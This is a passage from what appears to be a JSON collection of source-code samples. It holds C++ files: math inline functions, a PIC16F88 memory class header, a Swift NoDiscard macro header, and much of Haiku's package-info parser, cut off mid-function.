1 ) ) == 0;\r\n}\r\n\r\n/*\r\n================\r\nMath::HigherPowerOfTwo\r\n================\r\n*/\r\nOG_INLINE int Math::HigherPowerOfTwo( int x ) {\r\n\tx--;\r\n\tx |= x >> 1;\r\n\tx |= x >> 2;\r\n\tx |= x >> 4;\r\n\tx |= x >> 8;\r\n\tx |= x >> 16;\r\n\treturn x + 1;\r\n}\r\n\r\n/*\r\n================\r\nMath::LowerPowerOfTwo\r\n================\r\n*/\r\nOG_INLINE int Math::LowerPowerOfTwo( int x ) {\r\n\treturn HigherPowerOfTwo( x ) >> 1;\r\n}\r\n\r\n/*\r\n================\r\nMath::FloorPowerOfTwo\r\n================\r\n*/\r\nOG_INLINE int Math::FloorPowerOfTwo( int x ) {\r\n\treturn IsPowerOfTwo( x ) ? x : LowerPowerOfTwo( x );\r\n}\r\n\r\n/*\r\n================\r\nMath::CeilPowerOfTwo\r\n================\r\n*/\r\nOG_INLINE int Math::CeilPowerOfTwo( int x ) {\r\n\treturn IsPowerOfTwo( x ) ? x : HigherPowerOfTwo( x );\r\n}\r\n\r\n/*\r\n================\r\nMath::ClosestPowerOfTwo\r\n================\r\n*/\r\nOG_INLINE int Math::ClosestPowerOfTwo( int x ) {\r\n\tif ( IsPowerOfTwo( x ) )\r\n\t\treturn x;\r\n\tint high = HigherPowerOfTwo( x );\r\n\tint low = high >> 1;\r\n\treturn ((high-x) < (x-low)) ? high : low;\r\n}\r\n\r\n/*\r\n================\r\nMath::Digits\r\n================\r\n*/\r\nOG_INLINE int Math::Digits( int x ) {\r\n\tint digits = 1;\r\n\tint step = 10;\r\n\twhile (step <= x) {\r\n\t\tdigits++;\r\n\t\tstep *= 10;\r\n\t}\r\n\treturn digits;\r\n}\r\n\r\n/*\r\n================\r\nMath::Sin/ASin\r\n================\r\n*/\r\nOG_INLINE float Math::Sin( float f ) {\r\n\treturn sinf( f );\r\n}\r\nOG_INLINE float Math::ASin( float f ) {\r\n\tif ( f <= -1.0f )\r\n\t\treturn -HALF_PI;\r\n\tif ( f >= 1.0f )\r\n\t\treturn HALF_PI;\r\n\treturn asinf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::Cos/ACos\r\n================\r\n*/\r\nOG_INLINE float Math::Cos( float f ) {\r\n\treturn cosf( f );\r\n}\r\nOG_INLINE float Math::ACos( float f ) {\r\n\tif ( f <= -1.0f )\r\n\t\treturn PI;\r\n\tif ( f >= 1.0f )\r\n\t\treturn 0.0f;\r\n\treturn acosf( f );\r\n}\r\n\r\n/*\r\n================\r\nMath::Tan/ATan\r\n================\r\n*/\r\nOG_INLINE float Math::Tan( float f ) {\r\n\treturn tanf( f );\r\n}\r\nOG_INLINE float Math::ATan( float f ) {\r\n\treturn atanf( f );\r\n}\r\nOG_INLINE float Math::ATan( float f1, float f2 ) {\r\n\treturn atan2f( f1, f2 );\r\n}\r\n\r\n/*\r\n================\r\nMath::SinCos\r\n================\r\n*/\r\nOG_INLINE void Math::SinCos( float f, float &s, float &c ) {\r\n#if OG_ASM_MSVC\r\n\t// sometimes assembler is just waaayy faster\r\n\t_asm {\r\n\t\tfld\t\tf\r\n\t\tfsincos\r\n\t\tmov\t\tecx, c\r\n\t\tmov\t\tedx, s\r\n\t\tfstp\tdword ptr [ecx]\r\n\t\tfstp\tdword ptr [edx]\r\n\t}\r\n#elif OG_ASM_GNU\r\n\tasm (\"fsincos\" : \"=t\" (c), \"=u\" (s) : \"0\" (f));\r\n#else\r\n\ts = Sin(f);\r\n\tc = Sqrt( 1.0f - s * s ); // faster than calling Cos(f)\r\n#endif\r\n}\r\n\r\n/*\r\n================\r\nMath::Deg2Rad\r\n================\r\n*/\r\nOG_INLINE float Math::Deg2Rad( float f ) {\r\n\treturn f * DEG_TO_RAD;\r\n}\r\n\r\n/*\r\n================\r\nMath::Rad2Deg\r\n================\r\n*/\r\nOG_INLINE float Math::Rad2Deg( float f ) {\r\n\treturn f * RAD_TO_DEG;\r\n}\r\n\r\n/*\r\n================\r\nMath::Square\r\n================\r\n*/\r\nOG_INLINE float Math::Square( float v ) {\r\n\treturn v * v;\r\n}\r\n\r\n/*\r\n================\r\nMath::Cube\r\n================\r\n*/\r\nOG_INLINE float Math::Cube( float v ) {\r\n\treturn v * v * v;\r\n}\r\n\r\n/*\r\n================\r\nMath::Sec2Ms\r\n================\r\n*/\r\nOG_INLINE int Math::Sec2Ms( int sec ) {\r\n\treturn sec * 1000;\r\n}\r\n\r\n/*\r\n================\r\nMath::Ms2Sec\r\n================\r\n*/\r\nOG_INLINE int Math::Ms2Sec( int ms ) {\r\n\treturn FtoiFast( ms * 0.001f );\r\n}\r\n\r\n}\r\n\r\n#endif\r\n"
  },
  {
    "path": "samples/C++/Memory16F88.h",
    "content": "/*\n * This file is part of PIC\n * Copyright © 2012 Rachel Mant (dx-mon@users.sourceforge.net)\n *\n * PIC is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * PIC is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include \"Memory.h\"\n\nclass Memory16F88 : public Memory\n{\nprivate:\n\tuint8_t memory[512];\n\tstd::map<uint32_t, MemoryLocation *> memoryMap;\n\npublic:\n\tMemory16F88();\n\tuint8_t Dereference(uint8_t bank, uint8_t partialAddress);\n\tuint8_t *Reference(uint8_t bank, uint8_t partialAddress);\n\tuint8_t *operator [](uint32_t ref);\n};\n"
  },
  {
    "path": "samples/C++/NoDiscard.h",
    "content": "//===--- NoDiscard.h ------------------------------------------------------===//\n//\n// This source file is part of the Swift.org open source project\n//\n// Copyright (c) 2014 - 2022 Apple Inc. and the Swift project authors\n// Licensed under Apache License v2.0 with Runtime Library Exception\n//\n// See https://swift.org/LICENSE.txt for license information\n// See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors\n//\n//===----------------------------------------------------------------------===//\n\n#ifndef SWIFT_BASIC_NODISCARD_H\n#define SWIFT_BASIC_NODISCARD_H\n\n#if __cplusplus > 201402l && __has_cpp_attribute(nodiscard)\n#define SWIFT_NODISCARD [[nodiscard]]\n#elif __has_cpp_attribute(clang::warn_unused_result)\n#define SWIFT_NODISCARD [[clang::warn_unused_result]]\n#else\n#define SWIFT_NODISCARD\n#endif\n\n#endif"
  },
  {
    "path": "samples/C++/PackageInfoParser.cpp",
    "content": "/*\n * Copyright 2011, Oliver Tappe <zooey@hirschkaefer.de>\n * Copyright 2016, Andrew Lindesay <apl@lindesay.co.nz>\n * Distributed under the terms of the MIT License.\n *\n * Source - https://github.com/haiku/haiku/blob/73e180c9b965aaeb034055453e153bc3adf47917/src/kits/package/PackageInfoParser.cpp\n */\n\n\n#include \"PackageInfoParser.h\"\n\n#include <ctype.h>\n#include <stdint.h>\n#include <stdlib.h>\n\n#include <algorithm>\n#include <string>\n\n#include <Url.h>\n\nnamespace BPackageKit {\n\n\nBPackageInfo::ParseErrorListener::~ParseErrorListener()\n{\n}\n\n\nBPackageInfo::Parser::Parser(ParseErrorListener* listener)\n\t:\n\tfListener(listener),\n\tfPos(NULL)\n{\n}\n\n\nstatus_t\nBPackageInfo::Parser::Parse(const BString& packageInfoString,\n\tBPackageInfo* packageInfo)\n{\n\tif (packageInfo == NULL)\n\t\treturn B_BAD_VALUE;\n\n\tfPos = packageInfoString.String();\n\n\ttry {\n\t\t_Parse(packageInfo);\n\t} catch (const ParseError& error) {\n\t\tif (fListener != NULL) {\n\t\t\t// map error position to line and column\n\t\t\tint line = 1;\n\t\t\tint inLineOffset;\n\t\t\tint32 offset = error.pos - packageInfoString.String();\n\t\t\tint32 newlinePos = packageInfoString.FindLast('\\n', offset - 1);\n\t\t\tif (newlinePos < 0)\n\t\t\t\tinLineOffset = offset;\n\t\t\telse {\n\t\t\t\tinLineOffset = offset - newlinePos - 1;\n\t\t\t\tdo {\n\t\t\t\t\tline++;\n\t\t\t\t\tnewlinePos = packageInfoString.FindLast('\\n',\n\t\t\t\t\t\tnewlinePos - 1);\n\t\t\t\t} while (newlinePos >= 0);\n\t\t\t}\n\n\t\t\tint column = 0;\n\t\t\tfor (int i = 0; i < inLineOffset; i++) {\n\t\t\t\tcolumn++;\n\t\t\t\tif (error.pos[i - inLineOffset] == '\\t')\n\t\t\t\t\tcolumn = (column + 3) / 4 * 4;\n\t\t\t}\n\n\t\t\tfListener->OnError(error.message, line, column + 1);\n\t\t}\n\t\treturn B_BAD_DATA;\n\t} catch (const std::bad_alloc& e) {\n\t\tif (fListener != NULL)\n\t\t\tfListener->OnError(\"out of memory\", 0, 0);\n\t\treturn B_NO_MEMORY;\n\t}\n\n\treturn B_OK;\n}\n\n\nstatus_t\nBPackageInfo::Parser::ParseVersion(const BString& versionString,\n\tbool revisionIsOptional, BPackageVersion& _version)\n{\n\tfPos = versionString.String();\n\n\ttry {\n\t\tToken token(TOKEN_STRING, fPos, versionString.Length());\n\t\t_ParseVersionValue(token, &_version, revisionIsOptional);\n\t} catch (const ParseError& error) {\n\t\tif (fListener != NULL) {\n\t\t\tint32 offset = error.pos - versionString.String();\n\t\t\tfListener->OnError(error.message, 1, offset);\n\t\t}\n\t\treturn B_BAD_DATA;\n\t} catch (const std::bad_alloc& e) {\n\t\tif (fListener != NULL)\n\t\t\tfListener->OnError(\"out of memory\", 0, 0);\n\t\treturn B_NO_MEMORY;\n\t}\n\n\treturn B_OK;\n}\n\n\nstatus_t\nBPackageInfo::Parser::ParseResolvableExpression(const BString& expressionString,\n\tBPackageResolvableExpression& _expression)\n{\n\tfPos = expressionString.String();\n\n\ttry {\n\t\tToken token(TOKEN_STRING, fPos, expressionString.Length());\n\t\t_ParseResolvableExpression(_NextToken(), _expression, NULL);\n\t} catch (const ParseError& error) {\n\t\tif (fListener != NULL) {\n\t\t\tint32 offset = error.pos - expressionString.String();\n\t\t\tfListener->OnError(error.message, 1, offset);\n\t\t}\n\t\treturn B_BAD_DATA;\n\t} catch (const std::bad_alloc& e) {\n\t\tif (fListener != NULL)\n\t\t\tfListener->OnError(\"out of memory\", 0, 0);\n\t\treturn B_NO_MEMORY;\n\t}\n\n\treturn B_OK;\n}\n\n\nBPackageInfo::Parser::Token\nBPackageInfo::Parser::_NextToken()\n{\n\t// Eat any whitespace, comments, or escaped new lines. Also eat ';' -- they\n\t// have the same function as newlines. We remember the last encountered ';'\n\t// or '\\n' and return it as a token afterwards.\n\tconst char* itemSeparatorPos = NULL;\n\tbool inComment = false;\n\twhile ((inComment && *fPos != '\\0') || isspace(*fPos) || *fPos == ';'\n\t\t|| *fPos == '#' || *fPos == '\\\\') {\n\t\tif (*fPos == '#') {\n\t\t\tinComment = true;\n\t\t} else if (!inComment && *fPos == '\\\\') {\n\t\t\tif (fPos[1] != '\\n')\n\t\t\t\tbreak;\n\t\t\t// ignore escaped line breaks\n\t\t\tfPos++;\n\t\t} else if (*fPos == '\\n') {\n\t\t\titemSeparatorPos = fPos;\n\t\t\tinComment = false;\n\t\t} else if (!inComment && *fPos == ';')\n\t\t\titemSeparatorPos = fPos;\n\t\tfPos++;\n\t}\n\n\tif (itemSeparatorPos != NULL) {\n\t\treturn Token(TOKEN_ITEM_SEPARATOR, itemSeparatorPos);\n\t}\n\n\tconst char* tokenPos = fPos;\n\tswitch (*fPos) {\n\t\tcase '\\0':\n\t\t\treturn Token(TOKEN_EOF, fPos);\n\n\t\tcase '{':\n\t\t\tfPos++;\n\t\t\treturn Token(TOKEN_OPEN_BRACE, tokenPos);\n\n\t\tcase '}':\n\t\t\tfPos++;\n\t\t\treturn Token(TOKEN_CLOSE_BRACE, tokenPos);\n\n\t\tcase '<':\n\t\t\tfPos++;\n\t\t\tif (*fPos == '=') {\n\t\t\t\tfPos++;\n\t\t\t\treturn Token(TOKEN_OPERATOR_LESS_EQUAL, tokenPos, 2);\n\t\t\t}\n\t\t\treturn Token(TOKEN_OPERATOR_LESS, tokenPos, 1);\n\n\t\tcase '=':\n\t\t\tfPos++;\n\t\t\tif (*fPos == '=') {\n\t\t\t\tfPos++;\n\t\t\t\treturn Token(TOKEN_OPERATOR_EQUAL, tokenPos, 2);\n\t\t\t}\n\t\t\treturn Token(TOKEN_OPERATOR_ASSIGN, tokenPos, 1);\n\n\t\tcase '!':\n\t\t\tif (fPos[1] == '=') {\n\t\t\t\tfPos += 2;\n\t\t\t\treturn Token(TOKEN_OPERATOR_NOT_EQUAL, tokenPos, 2);\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase '>':\n\t\t\tfPos++;\n\t\t\tif (*fPos == '=') {\n\t\t\t\tfPos++;\n\t\t\t\treturn Token(TOKEN_OPERATOR_GREATER_EQUAL, tokenPos, 2);\n\t\t\t}\n\t\t\treturn Token(TOKEN_OPERATOR_GREATER, tokenPos, 1);\n\n\t\tdefault:\n\t\t{\n\t\t\tstd::string string;\n\t\t\tchar quoteChar = '\\0';\n\n\t\t\tfor (; *fPos != '\\0'; fPos++) {\n\t\t\t\tchar c = *fPos;\n\t\t\t\tif (quoteChar != '\\0') {\n\t\t\t\t\t// within a quoted string segment\n\t\t\t\t\tif (c == quoteChar) {\n\t\t\t\t\t\tquoteChar = '\\0';\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tif (c == '\\\\') {\n\t\t\t\t\t\t// next char is escaped\n\t\t\t\t\t\tc = *++fPos;\n\t\t\t\t\t\tif (c == '\\0') {\n\t\t\t\t\t\t\tthrow ParseError(\"unterminated quoted-string\",\n\t\t\t\t\t\t\t\ttokenPos);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif (c == 'n')\n\t\t\t\t\t\t\tc = '\\n';\n\t\t\t\t\t\telse if (c == 't')\n\t\t\t\t\t\t\tc = '\\t';\n\t\t\t\t\t}\n\n\t\t\t\t\tstring += c;\n\t\t\t\t} else {\n\t\t\t\t\t// unquoted string segment\n\t\t\t\t\tswitch (c) {\n\t\t\t\t\t\tcase '\"':\n\t\t\t\t\t\tcase '\\'':\n\t\t\t\t\t\t\t// quoted string start\n\t\t\t\t\t\t\tquoteChar = c;\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\tcase '{':\n\t\t\t\t\t\tcase '}':\n\t\t\t\t\t\tcase '<':\n\t\t\t\t\t\tcase '=':\n\t\t\t\t\t\tcase '!':\n\t\t\t\t\t\tcase '>':\n\t\t\t\t\t\t\t// a separator character -- this ends the string\n\t\t\t\t\t\t\tbreak;\n\n\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t// next char is escaped\n\t\t\t\t\t\t\tc = *++fPos;\n\t\t\t\t\t\t\tif (c == '\\0') {\n\t\t\t\t\t\t\t\tthrow ParseError(\"'\\\\' at end of string\",\n\t\t\t\t\t\t\t\t\ttokenPos);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tstring += c;\n\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\tif (isspace(c))\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tstring += c;\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn Token(TOKEN_STRING, tokenPos, fPos - tokenPos,\n\t\t\t\tstring.c_str());\n\t\t}\n\t}\n\n\tBString error = BString(\"unknown token '\") << *fPos << \"' encountered\";\n\tthrow ParseError(error.String(), fPos);\n}\n\n\nvoid\nBPackageInfo::Parser::_RewindTo(const Token& token)\n{\n\tfPos = token.pos;\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseStringValue(BString* value, const char** _tokenPos)\n{\n\tToken string = _NextToken();\n\tif (string.type != TOKEN_STRING)\n\t\tthrow ParseError(\"expected string\", string.pos);\n\n\t*value = string.text;\n\tif (_tokenPos != NULL)\n\t\t*_tokenPos = string.pos;\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseArchitectureValue(BPackageArchitecture* value)\n{\n\tToken arch = _NextToken();\n\tif (arch.type == TOKEN_STRING) {\n\t\tfor (int i = 0; i < B_PACKAGE_ARCHITECTURE_ENUM_COUNT; ++i) {\n\t\t\tif (arch.text.ICompare(BPackageInfo::kArchitectureNames[i]) == 0) {\n\t\t\t\t*value = (BPackageArchitecture)i;\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\t}\n\n\tBString error(\"architecture must be one of: [\");\n\tfor (int i = 0; i < B_PACKAGE_ARCHITECTURE_ENUM_COUNT; ++i) {\n\t\tif (i > 0)\n\t\t\terror << \",\";\n\t\terror << BPackageInfo::kArchitectureNames[i];\n\t}\n\terror << \"]\";\n\tthrow ParseError(error, arch.pos);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseVersionValue(BPackageVersion* value,\n\tbool revisionIsOptional)\n{\n\tToken word = _NextToken();\n\t_ParseVersionValue(word, value, revisionIsOptional);\n}\n\n\n/*static*/ void\nBPackageInfo::Parser::_ParseVersionValue(Token& word, BPackageVersion* value,\n\tbool revisionIsOptional)\n{\n\tif (word.type != TOKEN_STRING)\n\t\tthrow ParseError(\"expected string (a version)\", word.pos);\n\n\t// get the revision number\n\tuint32 revision = 0;\n\tint32 dashPos = word.text.FindLast('-');\n\tif (dashPos >= 0) {\n\t\tchar* end;\n\t\tlong long number = strtoll(word.text.String() + dashPos + 1, &end,\n\t\t\t0);\n\t\tif (*end != '\\0' || number < 0 || number > UINT_MAX) {\n\t\t\tthrow ParseError(\"revision must be a number > 0 and < UINT_MAX\",\n\t\t\t\tword.pos + dashPos + 1);\n\t\t}\n\n\t\trevision = (uint32)number;\n\t\tword.text.Truncate(dashPos);\n\t}\n\n\tif (revision == 0 && !revisionIsOptional) {\n\t\tthrow ParseError(\"expected revision number (-<number> suffix)\",\n\t\t\tword.pos + word.text.Length());\n\t}\n\n\t// get the pre-release string\n\tBString preRelease;\n\tint32 tildePos = word.text.FindLast('~');\n\tif (tildePos >= 0) {\n\t\tword.text.CopyInto(preRelease, tildePos + 1,\n\t\t\tword.text.Length() - tildePos - 1);\n\t\tword.text.Truncate(tildePos);\n\n\t\tif (preRelease.IsEmpty()) {\n\t\t\tthrow ParseError(\"invalid empty pre-release string\",\n\t\t\t\tword.pos + tildePos + 1);\n\t\t}\n\n\t\tint32 errorPos;\n\t\tif (!_IsAlphaNumUnderscore(preRelease, \".\", &errorPos)) {\n\t\t\tthrow ParseError(\"invalid character in pre-release string\",\n\t\t\t\tword.pos + tildePos + 1 + errorPos);\n\t\t}\n\t}\n\n\t// get major, minor, and micro strings\n\tBString major;\n\tBString minor;\n\tBString micro;\n\tint32 firstDotPos = word.text.FindFirst('.');\n\tif (firstDotPos < 0)\n\t\tmajor = word.text;\n\telse {\n\t\tword.text.CopyInto(major, 0, firstDotPos);\n\t\tint32 secondDotPos = word.text.FindFirst('.', firstDotPos + 1);\n\t\tif (secondDotPos == firstDotPos + 1)\n\t\t\tthrow ParseError(\"expected minor version\", word.pos + secondDotPos);\n\n\t\tif (secondDotPos < 0) {\n\t\t\tword.text.CopyInto(minor, firstDotPos + 1, word.text.Length());\n\t\t} else {\n\t\t\tword.text.CopyInto(minor, firstDotPos + 1,\n\t\t\t\tsecondDotPos - (firstDotPos + 1));\n\t\t\tword.text.CopyInto(micro, secondDotPos + 1, word.text.Length());\n\n\t\t\tint32 errorPos;\n\t\t\tif (!_IsAlphaNumUnderscore(micro, \".\", &errorPos)) {\n\t\t\t\tthrow ParseError(\"invalid character in micro version string\",\n\t\t\t\t\tword.pos + secondDotPos + 1 + errorPos);\n\t\t\t}\n\t\t}\n\n\t\tint32 errorPos;\n\t\tif (!_IsAlphaNumUnderscore(minor, \"\", &errorPos)) {\n\t\t\tthrow ParseError(\"invalid character in minor version string\",\n\t\t\t\tword.pos + firstDotPos + 1 + errorPos);\n\t\t}\n\t}\n\n\tint32 errorPos;\n\tif (!_IsAlphaNumUnderscore(major, \"\", &errorPos)) {\n\t\tthrow ParseError(\"invalid character in major version string\",\n\t\t\tword.pos + errorPos);\n\t}\n\n\tvalue->SetTo(major, minor, micro, preRelease, revision);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseResolvableExpression(const Token& token,\n\tBPackageResolvableExpression& _value, BString* _basePackage)\n{\n\tif (token.type != TOKEN_STRING) {\n\t\tthrow ParseError(\"expected word (a resolvable name)\",\n\t\t\ttoken.pos);\n\t}\n\n\tint32 errorPos;\n\tif (!_IsValidResolvableName(token.text, &errorPos)) {\n\t\tthrow ParseError(\"invalid character in resolvable name\",\n\t\t\ttoken.pos + errorPos);\n\t}\n\n\tBPackageVersion version;\n\tToken op = _NextToken();\n\tBPackageResolvableOperator resolvableOperator;\n\tif (op.type == TOKEN_OPERATOR_LESS\n\t\t|| op.type == TOKEN_OPERATOR_LESS_EQUAL\n\t\t|| op.type == TOKEN_OPERATOR_EQUAL\n\t\t|| op.type == TOKEN_OPERATOR_NOT_EQUAL\n\t\t|| op.type == TOKEN_OPERATOR_GREATER_EQUAL\n\t\t|| op.type == TOKEN_OPERATOR_GREATER) {\n\t\t_ParseVersionValue(&version, true);\n\n\t\tif (_basePackage != NULL) {\n\t\t\tToken base = _NextToken();\n\t\t\tif (base.type == TOKEN_STRING && base.text == \"base\") {\n\t\t\t\tif (!_basePackage->IsEmpty()) {\n\t\t\t\t\tthrow ParseError(\"multiple packages marked as base package\",\n\t\t\t\t\t\ttoken.pos);\n\t\t\t\t}\n\n\t\t\t\t*_basePackage = token.text;\n\t\t\t} else\n\t\t\t\t_RewindTo(base);\n\t\t}\n\n\t\tresolvableOperator = (BPackageResolvableOperator)\n\t\t\t(op.type - TOKEN_OPERATOR_LESS);\n\t} else if (op.type == TOKEN_ITEM_SEPARATOR\n\t\t|| op.type == TOKEN_CLOSE_BRACE || op.type == TOKEN_EOF) {\n\t\t_RewindTo(op);\n\t\tresolvableOperator = B_PACKAGE_RESOLVABLE_OP_ENUM_COUNT;\n\t} else {\n\t\tthrow ParseError(\n\t\t\t\"expected '<', '<=', '==', '!=', '>=', '>', comma or '}'\",\n\t\t\top.pos);\n\t}\n\n\t_value.SetTo(token.text, resolvableOperator, version);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseList(ListElementParser& elementParser,\n\tbool allowSingleNonListElement)\n{\n\tToken openBracket = _NextToken();\n\tif (openBracket.type != TOKEN_OPEN_BRACE) {\n\t\tif (!allowSingleNonListElement)\n\t\t\tthrow ParseError(\"expected start of list ('{')\", openBracket.pos);\n\n\t\telementParser(openBracket);\n\t\treturn;\n\t}\n\n\twhile (true) {\n\t\tToken token = _NextToken();\n\t\tif (token.type == TOKEN_CLOSE_BRACE)\n\t\t\treturn;\n\n\t\tif (token.type == TOKEN_ITEM_SEPARATOR)\n\t\t\tcontinue;\n\n\t\telementParser(token);\n\t}\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseStringList(BStringList* value,\n\tbool requireResolvableName, bool convertToLowerCase,\n\tStringValidator* stringValidator)\n{\n\tstruct StringParser : public ListElementParser {\n\t\tBStringList* value;\n\t\tbool requireResolvableName;\n\t\tbool convertToLowerCase;\n\t\tStringValidator* stringValidator;\n\n\t\tStringParser(BStringList* value, bool requireResolvableName,\n\t\t\tbool convertToLowerCase, StringValidator* stringValidator)\n\t\t\t:\n\t\t\tvalue(value),\n\t\t\trequireResolvableName(requireResolvableName),\n\t\t\tconvertToLowerCase(convertToLowerCase),\n\t\t\tstringValidator(stringValidator)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tif (token.type != TOKEN_STRING)\n\t\t\t\tthrow ParseError(\"expected string\", token.pos);\n\n\t\t\tif (requireResolvableName) {\n\t\t\t\tint32 errorPos;\n\t\t\t\tif (!_IsValidResolvableName(token.text, &errorPos)) {\n\t\t\t\t\tthrow ParseError(\"invalid character in resolvable name\",\n\t\t\t\t\t\ttoken.pos + errorPos);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tBString element(token.text);\n\t\t\tif (convertToLowerCase)\n\t\t\t\telement.ToLower();\n\n\t\t\tif (stringValidator != NULL)\n\t\t\t\tstringValidator->Validate(element, token.pos);\n\n\t\t\tvalue->Add(element);\n\t\t}\n\t} stringParser(value, requireResolvableName, convertToLowerCase,\n\t\tstringValidator);\n\n\t_ParseList(stringParser, true);\n}\n\n\nuint32\nBPackageInfo::Parser::_ParseFlags()\n{\n\tstruct FlagParser : public ListElementParser {\n\t\tuint32 flags;\n\n\t\tFlagParser()\n\t\t\t:\n\t\t\tflags(0)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tif (token.type != TOKEN_STRING)\n\t\t\t\tthrow ParseError(\"expected word (a flag)\", token.pos);\n\n\t\t\tif (token.text.ICompare(\"approve_license\") == 0)\n\t\t\t\tflags |= B_PACKAGE_FLAG_APPROVE_LICENSE;\n\t\t\telse if (token.text.ICompare(\"system_package\") == 0)\n\t\t\t\tflags |= B_PACKAGE_FLAG_SYSTEM_PACKAGE;\n\t\t\telse {\n\t\t\t\tthrow ParseError(\n\t\t\t\t\t\"expected 'approve_license' or 'system_package'\",\n\t\t\t\t\ttoken.pos);\n\t\t\t}\n\t\t}\n\t} flagParser;\n\n\t_ParseList(flagParser, true);\n\n\treturn flagParser.flags;\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseResolvableList(\n\tBObjectList<BPackageResolvable>* value)\n{\n\tstruct ResolvableParser : public ListElementParser {\n\t\tParser& parser;\n\t\tBObjectList<BPackageResolvable>* value;\n\n\t\tResolvableParser(Parser& parser_,\n\t\t\tBObjectList<BPackageResolvable>* value_)\n\t\t\t:\n\t\t\tparser(parser_),\n\t\t\tvalue(value_)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tif (token.type != TOKEN_STRING) {\n\t\t\t\tthrow ParseError(\"expected word (a resolvable name)\",\n\t\t\t\t\ttoken.pos);\n\t\t\t}\n\n\t\t\tint32 errorPos;\n\t\t\tif (!_IsValidResolvableName(token.text, &errorPos)) {\n\t\t\t\tthrow ParseError(\"invalid character in resolvable name\",\n\t\t\t\t\ttoken.pos + errorPos);\n\t\t\t}\n\n\t\t\t// parse version\n\t\t\tBPackageVersion version;\n\t\t\tToken op = parser._NextToken();\n\t\t\tif (op.type == TOKEN_OPERATOR_ASSIGN) {\n\t\t\t\tparser._ParseVersionValue(&version, true);\n\t\t\t} else if (op.type == TOKEN_ITEM_SEPARATOR\n\t\t\t\t|| op.type == TOKEN_CLOSE_BRACE) {\n\t\t\t\tparser._RewindTo(op);\n\t\t\t} else\n\t\t\t\tthrow ParseError(\"expected '=', comma or '}'\", op.pos);\n\n\t\t\t// parse compatible version\n\t\t\tBPackageVersion compatibleVersion;\n\t\t\tToken compatible = parser._NextToken();\n\t\t\tif (compatible.type == TOKEN_STRING\n\t\t\t\t&& (compatible.text == \"compat\"\n\t\t\t\t\t|| compatible.text == \"compatible\")) {\n\t\t\t\top = parser._NextToken();\n\t\t\t\tif (op.type == TOKEN_OPERATOR_GREATER_EQUAL) {\n\t\t\t\t\tparser._ParseVersionValue(&compatibleVersion, true);\n\t\t\t\t} else\n\t\t\t\t\tparser._RewindTo(compatible);\n\t\t\t} else\n\t\t\t\tparser._RewindTo(compatible);\n\n\t\t\tvalue->AddItem(new BPackageResolvable(token.text, version,\n\t\t\t\tcompatibleVersion));\n\t\t}\n\t} resolvableParser(*this, value);\n\n\t_ParseList(resolvableParser, false);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseResolvableExprList(\n\tBObjectList<BPackageResolvableExpression>* value, BString* _basePackage)\n{\n\tstruct ResolvableExpressionParser : public ListElementParser {\n\t\tParser& parser;\n\t\tBObjectList<BPackageResolvableExpression>* value;\n\t\tBString* basePackage;\n\n\t\tResolvableExpressionParser(Parser& parser,\n\t\t\tBObjectList<BPackageResolvableExpression>* value,\n\t\t\tBString* basePackage)\n\t\t\t:\n\t\t\tparser(parser),\n\t\t\tvalue(value),\n\t\t\tbasePackage(basePackage)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tBPackageResolvableExpression expression;\n\t\t\tparser._ParseResolvableExpression(token, expression, basePackage);\n\t\t\tvalue->AddItem(new BPackageResolvableExpression(expression));\n\t\t}\n\t} resolvableExpressionParser(*this, value, _basePackage);\n\n\t_ParseList(resolvableExpressionParser, false);\n}\n\n\nvoid\nBPackageInfo::Parser::_ParseGlobalWritableFileInfos(\n\tGlobalWritableFileInfoList* infos)\n{\n\tstruct GlobalWritableFileInfoParser : public ListElementParser {\n\t\tParser& parser;\n\t\tGlobalWritableFileInfoList* infos;\n\n\t\tGlobalWritableFileInfoParser(Parser& parser,\n\t\t\tGlobalWritableFileInfoList* infos)\n\t\t\t:\n\t\t\tparser(parser),\n\t\t\tinfos(infos)\n\t\t{\n\t\t}\n\n\t\tvirtual void operator()(const Token& token)\n\t\t{\n\t\t\tif (token.type != TOKEN_STRING) {\n\t\t\t\tthrow ParseError(\"expected string (a file path)\",\n\t\t\t\t\ttoken.pos);\n\t\t\t}\n\n\t\t\tBWritableFileUpdateType updateType\n\t\t\t\t= B_WRITABLE_FILE_UPDATE_TYPE_ENUM_COUNT;\n\t\t\tbool isDirectory = false;\n\n\t\t\tToken nextToken = parser._NextToken();\n\t\t\tif (nextToken.type == TOKEN_STRING\n\t\t\t\t&& nextToken.text == 